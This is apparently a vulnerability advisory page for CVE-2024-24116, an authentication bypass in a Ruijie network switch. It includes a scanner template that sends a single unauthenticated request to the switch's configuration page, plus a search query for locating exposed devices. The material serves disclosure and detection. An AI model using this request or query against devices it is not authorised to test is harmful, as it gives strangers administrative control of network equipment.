CVE-2024-24116: Ruijie RG-NBS2009G-P - Improper Authentication

2025-08-01 Ruijie RG-NBS2009G-P PoC Public

Description

An issue in Ruijie RG-NBS2009G-P RGOS v.10.4(1)P2 Release(9736) allows a remote attacker to gain privileges via the system/config_menu.htm.

PoC

id: CVE-2024-24116

info:
  name: Ruijie RG-NBS2009G-P - Improper Authentication
  author: friea
  severity: critical
  description: |
    An issue in Ruijie RG-NBS2009G-P RGOS v.10.4(1)P2 Release(9736) allows a remote attacker to gain privileges via the system/config_menu.htm.
  impact: |
    Unauthenticated attackers can bypass authentication to gain administrative access and control the Ruijie switch configuration.
  remediation: |
    Update Ruijie RG-NBS2009G-P firmware to a version that addresses CVE-2024-24116.
  reference:
    - https://github.com/zty-1995/RG-NBS2009G-P-switch/tree/main/Unauthorized%20Access%20Vulnerability
    - https://gist.github.com/zty-1995/7a5e3ad0eb3b6c44db1a6eb4092893d3
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24116
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-24116
    cwe-id: CWE-287
    epss-score: 0.28411
    epss-percentile: 0.98026
    cpe: cpe:2.3:o:ruijie:rg-nbs2009g-p_firmware:10.4\(1\)p2_release\(9736\):*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="ruijie.com.cn"
    vendor: ruijie
    product: rg-nbs2009g-p, rg-nbs2009g-p_firmware
  tags: ruijie,cve,cve2024,exposure,bac,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/config_menu.htm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "configManage.asp"
          - "reinitIframe()"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c907c3e9090269a78865729c43b365484ee7b42027c57fcd916e963dcfa64e6d02203dd23158181978112485eb0185ea950f77c28e217c9634dc8f1affaf6e666baf:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities